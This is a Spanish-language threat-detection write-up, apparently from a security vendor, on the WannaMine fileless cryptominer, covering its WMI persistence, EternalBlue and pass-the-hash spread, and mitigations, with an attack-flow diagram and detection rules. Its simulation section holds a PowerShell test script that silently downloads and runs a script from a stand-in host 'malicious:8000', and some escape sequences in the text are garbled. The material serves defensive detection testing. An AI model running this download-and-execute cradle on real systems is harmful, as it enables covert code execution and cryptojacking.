Análisis del Cryptominer WannaMine: Ejecución Sin Archivos y Persistencia
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
WannaMine es un gusano de criptominería sin archivos que se basa en herramientas ya incluidas en el sistema, principalmente PowerShell y Windows Management Instrumentation (WMI), para permanecer residente en la memoria y minar Monero.
Investigación
WannaMine se entrega ya sea a través de correos electrónicos de phishing que contienen archivos por lotes maliciosos o explotando la vulnerabilidad SMB EternalBlue. Para la persistencia, registra suscripciones a eventos WMI y almacena PowerShell codificado en clases WMI personalizadas.
Mitigación de WannaMine
Prevenga la explotación de EternalBlue parcheando SMB (MS17-010). Restringa la ejecución y monitoreo de PowerShell, observe la creación inusual de clases WMI y consumidores de eventos, y aplique el principio de privilegio mínimo para limitar el uso indebido de credenciales.
Respuesta
Alerta sobre comportamiento anormal de PowerShell/WMI, aísle los hosts afectados, elimine los consumidores/suscripciones de eventos WMI maliciosos, rote las credenciales potencialmente expuestas y realice análisis de memoria para confirmar el minero en memoria.
«graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nodes u2013 Actions action_phishing[«<b>Acción</b> – <b>T1566.001 Phishing</b>: Spearphishing Attachment entregando un archivo por lotes malicioso»] class action_phishing action action_user_exec[«<b>Acción</b> – <b>T1204 Ejecución de Usuario</b>: La víctima ejecuta el archivo por lotes que lanza PowerShell»] class action_user_exec action action_powershell_exec[«<b>Acción</b> – <b>T1059.001 PowerShell</b>: Script de PowerShell oculto determina la arquitectura del SO y descarga la carga útil»] class action_powershell_exec action action_wmi_persistence[«<b>Acción</b> – <b>T1546.003 Suscripción a Eventos WMI</b>: El malware crea clases WMI personalizadas y registra consumidores de eventos»] class action_wmi_persistence action action_pass_the_hash[«<b>Acción</b> – <b>T1550.002 Pass the Hash</b>: Se reutilizan hashes NTLM extraídos»] class action_pass_the_hash action action_wmiexec[«<b>Acción</b> – <b>Movimiento Lateral vía WMIExec</b>: Hashes utilizados para ejecutar PowerShell en hosts remotos»] class action_wmiexec action action_eternalblue[«<b>Acción</b> – <b>T1210 Explotación de Servicios Remotos</b>: EternalBlue (MS17u2011010) usado cuando falla la reutilización de hashes»] class action_eternalblue action action_defense_evasion[«<b>Acción</b> – <b>T1550 Uso de Material de Autenticación Alternativo</b>: Reutilizar hashes robados evita las solicitudes de credenciales»] class action_defense_evasion action action_compute_hijacking[«<b>Acción</b> – <b>T1496.001 Secuestro de Computo</b>: El sistema se configura para minar criptomoneda Monero»] class action_compute_hijacking action action_power_settings[«<b>Acción</b> – <b>T1653 Configuración de Energía</b>: Administración de energía alterada para prevenir el sueño y mantener activa la minería»] class action_power_settings action %% Nodes u2013 Tools and Malware file_batch[«<b>Herramienta</b> – <b>Nombre</b>: Archivo por Lotes Malicioso<br /><b>Descripción</b>: Contenedor para el comando inicial de PowerShell»] class file_batch tool tool_powershell[«<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br /><b>Descripción</b>: Motor de scripting utilizado para descarga y ejecución»] class tool_powershell tool tool_wmi[«<b>Herramienta</b> – <b>Nombre</b>: Instrumentación de Administración de Windows<br /><b>Descripción</b>: Registra suscripciones de eventos para persistencia»] class tool_wmi tool tool_mimikatz[«<b>Herramienta</b> – <b>Nombre</b>: Módulo Mimikatz<br /><b>Descripción</b>: Extrae hashes NTLM de la memoria»] class tool_mimikatz tool tool_wmiexec[«<b>Herramienta</b> – <b>Nombre</b>: WMIExec<br /><b>Descripción</b>: Ejecuta comandos en máquinas remotas vía WMI»] class tool_wmiexec tool exploit_eternalblue[«<b>Herramienta</b> – <b>Nombre</b>: Exploit EternalBlue<br /><b>Descripción</b>: Explota la vulnerabilidad SMB MS17u2011010»] class exploit_eternalblue tool malware_payload[«<b>Malware</b> – <b>Nombre</b>: Carga Útil Personalizada<br /><b>Descripción</b>: Componente descargado que realiza minería»] class malware_payload malware process_download[«<b>Proceso</b> – <b>Nombre</b>: Descarga de Carga Útil Remota<br /><b>Descripción</b>: Recupera binario adecuado para la arquitectura del SO»] class process_download process process_mining[«<b>Proceso</b> – <b>Nombre</b>: Minero de Monero<br /><b>Descripción</b>: Consume ciclos de CPU para minería de criptomoneda»] class process_mining process %% Connections u2013 Attack Flow action_phishing u002du002d>|entrega| file_batch file_batch u002du002d>|ejecutado_por_el_usuario| action_user_exec action_user_exec u002du002d>|desencadena| action_powershell_exec action_powershell_exec u002du002d>|utiliza| tool_powershell action_powershell_exec u002du002d>|descarga| process_download process_download u002du002d>|almacena_como| malware_payload malware_payload u002du002d>|crea| action_wmi_persistence action_wmi_persistence u002du002d>|utiliza| tool_wmi action_wmi_persistence u002du002d>|extrae_hashes_con| tool_mimikatz tool_mimikatz u002du002d>|habilita| action_pass_the_hash action_pass_the_hash u002du002d>|habilita| action_wmiexec action_pass_the_hash u002du002d>|retrocede_a| action_eternalblue action_wmiexec u002du002d>|realiza_movimiento_lateral| process_mining action_eternalblue u002du002d>|explota| exploit_eternalblue exploit_eternalblue u002du002d>|gana_acceso_para| process_mining process_mining u002du002d>|conduce_a| action_defense_evasion action_defense_evasion u002du002d>|habilita| action_compute_hijacking action_compute_hijacking u002du002d>|modifica| action_power_settings «
Flujo de Ataque
Detecciones
Descarga o Subida vía PowerShell (vía línea de comando)
Ver
Actividad de Modificación de Esquema de Energía Sospechosa (vía línea de comando)
Ver
LOLBAS wmic (vía línea de comando)
Ver
Descarga de Archivo Sospechosa IP Directa (vía proxy)
Ver
COIs (HashMd5) para detectar: Cómo Funciona WannaMine: Un Malware Criptominero Sin Archivos
Ver
COIs (Emails) para detectar: Cómo Funciona WannaMine: Un Malware Criptominero Sin Archivos
Ver
COIs (SourceIP) para detectar: Cómo Funciona WannaMine: Un Malware Criptominero Sin Archivos
Ver
COIs (DestinationIP) para detectar: Cómo Funciona WannaMine: Un Malware Criptominero Sin Archivos
Ver
Detección de Criptojacking Sin Archivos WannaMine [Creación de Procesos de Windows]
Ver
Detectar WannaMine, Criptominero Sin Archivos, Ejecución de PowerShell [Windows PowerShell]
Ver
Ejecución de Simulación
Prerequisito: La Verificación Preliminar de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y el relato DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
Un atacante obtiene ejecución de código remoto en un punto final de Windows. Para evitar la interacción del usuario, lanza PowerShell en una ventana oculta (-W Hidden) sin perfil (-NoP) y no interactiva (-NonI). El comando utilizaIEXpara descargar una carga útil de PowerShell desde un servidor HTTP malicioso (http://malicious:8000/in6.ps1). El script descargado registra una clase WMI nombradaOffice_Updaterbajorootdefaultque almacena una propiedadmonque contiene un minero de Monero codificado en Base64. Luego, el atacante lee la propiedad a través de[WmiClass]y la invoca, lanzando efectivamente el criptominero sin crear un nuevo proceso. Esta secuencia coincide con las tres subcadenas de línea de comando de la regla de detección. -
Script de Prueba de Regresión:
#------------------------------------------------- # Simular ejecución de criptominero sin archivos WannaMine #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. Ejecución de PowerShell oculta, no interactiva $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # Invocar el comando (esto es lo que el atacante ejecutaría) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # Nota: Se asume que el script remoto (in6.ps1) crea la clase WMI # con una propiedad "mon" que contiene el código de minería. -
Comandos de Limpieza:
# Eliminar la clase WMI maliciosa Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # Detener cualquier proceso de minería de PowerShell restante (si alguno fue lanzado) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # Opcional: Limpiar archivos de transcripción/log de PowerShell creados durante la prueba Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue